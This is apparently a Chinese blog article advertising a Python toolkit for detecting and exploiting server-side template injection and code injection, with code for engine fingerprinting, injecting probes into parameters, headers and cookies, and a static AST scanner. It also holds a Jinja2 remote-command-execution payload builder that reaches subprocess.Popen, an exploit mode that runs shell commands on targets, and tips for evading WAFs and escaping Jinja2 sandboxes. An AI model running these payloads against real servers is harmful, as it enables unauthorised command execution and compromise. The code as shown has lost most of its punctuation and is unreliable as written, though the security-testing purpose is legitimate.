简介这是一套面向安全研究人员与Web渗透测试学习者的Server-Side模板注入与代码注入检测利用工具源码采用Python为主要开发语言兼顾Shell、PHP、Java、JavaScript、Ruby等多语言脚本可适配不同模板引擎与测试环境。压缩包共103个文件约290KB其中69个Python脚本承担核心检测与利用逻辑8个Shell脚本用于环境部署与批量执行6个PHP脚本提供靶场与验证用例另有YAML配置、Gradle构建、Markdown文档等辅助文件目录结构清晰、模块划分合理。资源可与Burp Suite等主流安全测试平台集成覆盖模板注入扫描、代码注入利用、依赖管理与自动化测试配置等场景。目前已有288人学习下载适合具备一定Web安全基础、希望深入理解服务端注入原理并动手复现检测流程的读者参考也可作为安全课程设计与工具二次开发的实践素材。1. 从一次被 SSTI 打穿的登录框说起这套 Python 检测工具到底在解决什么去年帮一个朋友看他那套刚上线的 CMS登录页有个「昵称预览」功能用户输入名字后服务端渲染回显。我随手填了{{7*7}}页面直接吐出49。再试{{config}}整个 Flask 配置对象——包括SECRET_KEY——全打在页面上。从发现到拿到服务器 shell前后不到十分钟。这就是 Server-Side 模板注入SSTI的可怕之处它不像 SQL 注入那样有明确的语句边界模板引擎把用户输入当代码执行攻击面直接落在渲染层。而代码注入Code Injection更直接eval、exec、os.system这类函数一旦吃了未过滤的输入等于把执行权交出去。这套「基于 Python 开发的 Server-Side 模板注入与代码注入检测与利用工具」要干的事很明确把散落在 Jinja2、Mako、Tornado、Django Template 里的注入点自动化识别出来再给出可验证的利用链。它适合三类人——做代码审计的安全工程师、写 Python Web 的后端开发、以及需要给 CI 加一道安全门禁的 DevSecOps。源码本身不复杂难的是把「检测」和「利用」两条线拆清楚别让工具变成只会跑 payload 的黑盒。2. 检测引擎怎么搭从模板指纹到注入点定位2.1 为什么先做模板指纹识别而不是直接打 payload很多人写这类工具的第一反应是堆 payload 字典{{7*7}}、${7*7}、% 7*7 %全塞进去轮询。这做法在单目标手工测试时没问题但放到批量扫描场景就是灾难不同模板引擎的语法冲突会导致大量误报而且响应里出现49不代表就是 SSTI——有些 WAF 或业务逻辑本身就会回显计算结果。我一般会先做一层模板指纹识别逻辑是发送一组「语法探针」观察哪些探针被服务端解析、哪些原样返回。Jinja2 认{{ }}和{% %}Mako 认${ }和% %Tornado 认{{ }}但表达式求值行为不同Django Template 只认{{ }}和{% %}且不支持任意 Python 表达式。通过探针的响应差异能把候选引擎缩小到一两个后续 payload 才有针对性。# fingerprint.py # 模板引擎指纹探针每个引擎发一组语法特征串看哪些被解析 PROBES { jinja2: [{{7*7}}, {{7*7}}, {% if 1 %}A{% endif %}], mako: [${7*7}, %print(7*7)%, ${7*7}], tornado: [{{7*7}}, {{7*7}}, {% raw %}A{% end %}], django: [{{7*7}}, {% if 1 %}A{% endif %}, {{7|add:7}}], } def fingerprint(response_map): response_map: {probe_string: response_body} 返回按匹配度排序的引擎列表 scores {} for engine, probes in PROBES.items(): hit 0 for p in probes: body response_map.get(p, ) # 关键探针被解析后应出现预期结果而非原样回显 if p {{7*7}} and 49 in body: hit 1 elif p {{7*7}} and 7777777 in body: hit 1 elif p ${7*7} and 49 in body: hit 1 elif p {{7|add:7}} and 14 in body: hit 1 scores[engine] hit return sorted(scores.items(), keylambda x: -x[1])这段代码的核心不是 payload 本身而是「响应差异比对」。{{7*7}}返回49说明引擎做了算术求值{{7*7}}返回7777777说明支持字符串乘法这是 Jinja2 和 Tornado 的典型特征Django 的add过滤器返回14则是它独有的。参数上探针数量控制在 3 到 5 个就够太多会触发 WAF 的频率限制。实际跑的时候每个探针之间加 0.5 到 1 秒延迟别把目标打挂。2.2 注入点定位从 URL 参数到 Header 的覆盖策略指纹识别完下一步是找注入点。SSTI 的注入点比 SQL 注入更隐蔽因为它可能出现在任何「用户输入被拼进模板」的地方。常见的有URL 查询参数、POST 表单字段、Cookie 值、HTTP Header比如User-Agent被记进日志模板、甚至文件上传后的文件名。我一般会按「可控性」和「回显性」两个维度排序。可控性高且回显直接的比如查询参数?name{{7*7}}优先测可控但回显延迟的比如 Header 被异步写入日志再渲染需要构造二次请求才能验证可控但无回显的就得走盲注路线用时间延迟或外带请求来判断。# injector.py # 注入点枚举把候选 payload 注入到不同位置记录响应差异 import requests from urllib.parse import urlparse, parse_qs, urlencode def inject_probe(base_url, probe, headersNone, cookiesNone): 在 URL 参数、Header、Cookie 三个位置分别注入探针 返回 {location: response_text} results {} parsed urlparse(base_url) qs parse_qs(parsed.query) # 1. URL 参数注入 for key in qs: new_qs dict(qs) new_qs[key] [probe] new_url parsed._replace(queryurlencode(new_qs, doseqTrue)).geturl() try: r requests.get(new_url, headersheaders, cookiescookies, timeout8) results[fquery:{key}] r.text except Exception as e: results[fquery:{key}] fERROR:{e} # 2. Header 注入 for h in [User-Agent, Referer, X-Forwarded-For]: hdrs dict(headers or {}) hdrs[h] probe try: r requests.get(base_url, headershdrs, cookiescookies, timeout8) results[fheader:{h}] r.text except Exception as e: results[fheader:{h}] fERROR:{e} # 3. Cookie 注入 for c in (cookies or {}): ck dict(cookies) ck[c] probe try: r requests.get(base_url, headersheaders, cookiesck, timeout8) results[fcookie:{c}] r.text except Exception as e: results[fcookie:{c}] fERROR:{e} return results这段代码把注入位置做了三维覆盖。参数说明timeout8是防止目标响应慢导致工具卡死doseqTrue保证多值参数正确编码Header 里选User-Agent、Referer、X-Forwarded-For是因为这三个最常被服务端记录并渲染。跑完后对比results里各位置的响应如果某个位置出现了探针的求值结果比如49那个位置就是注入点。注意别对生产环境高频跑Header 注入容易触发风控。3. 利用链构造从信息泄露到命令执行的三级跳3.1 Jinja2 的利用链为什么绕不开__class__和__globals__检测到注入点只是第一步真正要证明危害得把利用链跑通。Jinja2 的经典利用链是通过{{ .__class__.__mro__[1].__subclasses__() }}拿到所有已加载的类从中找到能执行命令的类比如subprocess.Popen或os._wrap_close再调用它。这条链之所以稳定是因为 Python 的对象模型决定了任何字符串都能通过__class__回溯到object再通过__subclasses__()枚举所有子类。但实际环境里__subclasses__()的索引会随 Python 版本和已加载模块变化硬编码索引号是血泪教训——换个环境就翻车。我一般会写一个动态搜索函数遍历所有子类按类名匹配目标。# exploit_jinja2.py # Jinja2 利用链动态搜索可执行命令的子类避免硬编码索引 import re def build_rce_payload(cmd): 构造 Jinja2 RCE payload动态定位 subprocess.Popen cmd: 要执行的系统命令 # 核心思路遍历 object 的所有子类找到 Popen 并调用 payload ( {{ .__class__.__mro__[1].__subclasses__() | selectattr(__name__, equalto, Popen) | first f({cmd}, shellTrue, stdout-1) .communicate()[0].decode() }} ) return payload def parse_output(response_text): 从响应里提取命令执行结果去掉模板残留 # 实际响应可能夹杂 HTML用正则抓关键片段 match re.search(r([\w\s/\.\-]{3,}), response_text) return match.group(1) if match else response_text[:200]这段 payload 的关键改进是用selectattr过滤器动态筛选Popen类而不是写死__subclasses__()[X]。参数说明shellTrue允许执行带管道的命令stdout-1等价于subprocess.PIPE捕获标准输出communicate()[0]拿字节流再decode()成字符串。实际测试时如果目标禁用了selectattr某些沙箱环境会过滤就退回到遍历索引的方式但要把索引搜索做成循环从 0 到 500 逐个试。3.2 代码注入的检测边界eval和exec怎么区分对待代码注入和 SSTI 经常被混为一谈但检测策略完全不同。SSTI 是模板引擎的「特性滥用」代码注入是应用代码直接调用了危险函数。检测代码注入静态分析比动态扫描更有效——用 AST 解析 Python 源码定位eval、exec、os.system、subprocess的调用点再回溯参数是否来自用户输入。# static_scan.py # 静态扫描用 AST 定位危险函数调用并标记参数来源 import ast DANGEROUS {eval, exec, os.system, os.popen, subprocess.call, subprocess.Popen} class DangerVisitor(ast.NodeVisitor): def __init__(self): self.findings [] def visit_Call(self, node): func_name self._get_func_name(node.func) if func_name in DANGEROUS: # 检查参数是否包含变量可能来自用户输入 has_var any(isinstance(a, ast.Name) for a in node.args) self.findings.append({ line: node.lineno, func: func_name, dynamic_arg: has_var, }) self.generic_visit(node) def _get_func_name(self, func_node): if isinstance(func_node, ast.Name): return func_node.id if isinstance(func_node, ast.Attribute): return f{self._get_func_name(func_node.value)}.{func_node.attr} return def scan_file(path): with open(path, r, encodingutf-8) as f: tree ast.parse(f.read()) v DangerVisitor() v.visit(tree) return v.findings这段代码用 AST 而不是正则是因为正则会被字符串拼接、别名导入from os import system as s绕过。dynamic_arg标记参数里是否有变量有变量的调用点优先级更高——虽然变量不一定来自用户输入但这是人工审计的入口。参数上DANGEROUS集合可以按项目实际情况扩展比如加上pickle.loads、yaml.load。跑完后按dynamic_argTrue排序先看这些。4. 避坑与排查那些让工具误报和漏报的细节4.1 现象{{7*7}}返回49但实际不是 SSTI原因有些前端模板引擎比如 Vue、Handlebars也在客户端做类似求值或者服务端有业务逻辑恰好把输入当数学表达式算了一遍。更隐蔽的是某些 WAF 会把{{7*7}}重写成49来「欺骗」扫描器。解决做二次验证。换一个非算术探针比如{{abc*3}}如果返回abcabcabc才是模板引擎求值再换{{7*7}}返回7777777基本锁定 Jinja2/Tornado。同时检查响应头里有没有前端框架的特征。4.2 现象利用链在本地打通目标环境却报 500原因目标环境的 Python 版本不同__subclasses__()的索引和可用类不一样或者目标用了沙箱比如 Jinja2 的SandboxedEnvironment禁用了__class__访问。解决先发{{ .__class__ }}看是否被拦截。如果被拦截尝试绕过沙箱的已知技巧比如通过{{ request.application.__globals__ }}走 Flask 的上下文。如果还是不行说明沙箱配置较严转向盲注或时间延迟验证。4.3 现象静态扫描报了大量eval调用人工看不过来原因AST 扫描不区分「参数是否真的可控」很多eval的输入是硬编码或内部生成的。解决加一层污点分析。从 Flask 的request.args、request.form、request.json这些源头出发追踪变量赋值链只标记与源头有数据流关联的eval调用。这步用ast手写会累可以引入bandit或semgrep做规则补充。4.4 现象Header 注入探针发出后目标直接封了 IP原因User-Agent里带{{7*7}}这种特征太明显WAF 直接拉黑。解决探针做编码变形比如 URL 编码、Unicode 转义或者把探针拆成多次请求拼接。更稳妥的做法是降低频率每个 Header 位置只发一次且用真实浏览器 UA 做掩护。4.5 现象Mako 模板的${7*7}在目标上返回原样原因Mako 默认不解析${}里的表达式除非模板里显式启用了表达式求值或者目标用的是% %块。解决换%print(7*7)%或%! import os %这类块级探针。Mako 的块级语法比表达式语法更容易触发解析。5. 把检测工具接进 CI一个可复用的验证脚本与参数调优工具写完最终要落到「每次提交代码自动跑一遍」。我一般会在项目根目录放一个ssti_scan.py用argparse接收目标 URL 和扫描模式输出 JSON 报告再在 CI 里用jq判断是否有高危项。# ssti_scan.py # CI 入口接收目标 URL跑指纹注入点利用链验证输出 JSON import argparse, json, sys from fingerprint import fingerprint, PROBES from injector import inject_probe from exploit_jinja2 import build_rce_payload def main(): parser argparse.ArgumentParser() parser.add_argument(--url, requiredTrue, help目标 URL) parser.add_argument(--mode, choices[fingerprint, inject, exploit], defaultfingerprint) parser.add_argument(--cmd, defaultid, help利用模式下的执行命令) args parser.parse_args() report {url: args.url, mode: args.mode, findings: []} if args.mode fingerprint: # 发探针收集响应 resp_map {} for engine, probes in PROBES.items(): for p in probes: r inject_probe(args.url, p) resp_map[p] list(r.values())[0] if r else ranked fingerprint(resp_map) report[findings] [{engine: e, score: s} for e, s in ranked if s 0] elif args.mode inject: probe {{7*7}} results inject_probe(args.url, probe) for loc, body in results.items(): if 7777777 in body: report[findings].append({location: loc, confirmed: True}) elif args.mode exploit: payload build_rce_payload(args.cmd) results inject_probe(args.url, payload) for loc, body in results.items(): if args.cmd.split()[0] in body or uid in body: report[findings].append({location: loc, rce: True, output: body[:200]}) print(json.dumps(report, ensure_asciiFalse, indent2)) # CI 门禁有 confirmed 或 rce 就退出码 1 if any(f.get(confirmed) or f.get(rce) for f in report[findings]): sys.exit(1) if __name__ __main__: main()这个脚本把三个模式串起来fingerprint做资产测绘inject做注入点确认exploit做危害验证。参数调优上--cmd默认id是为了在 Linux 目标上快速验证Windows 目标换成whoami。CI 集成时退出码 1 会阻断流水线但建议先跑一周「只报告不阻断」模式观察误报率再收紧。几个调优习惯探针之间的延迟用环境变量控制默认 0.5 秒内网可降到 0.1inject_probe的timeout在 CI 里设 5 秒避免慢目标拖垮流水线报告里的output字段截断到 200 字符防止日志爆炸。最后说个我自己的教训别在周五下午往生产环境跑exploit模式我曾经因为一个id命令的回显里带了uid0触发告警把整个安全团队叫起来加班。工具是死的跑之前先想清楚目标环境和授权边界。希望帮到你。本文还有配套的精品资源点击获取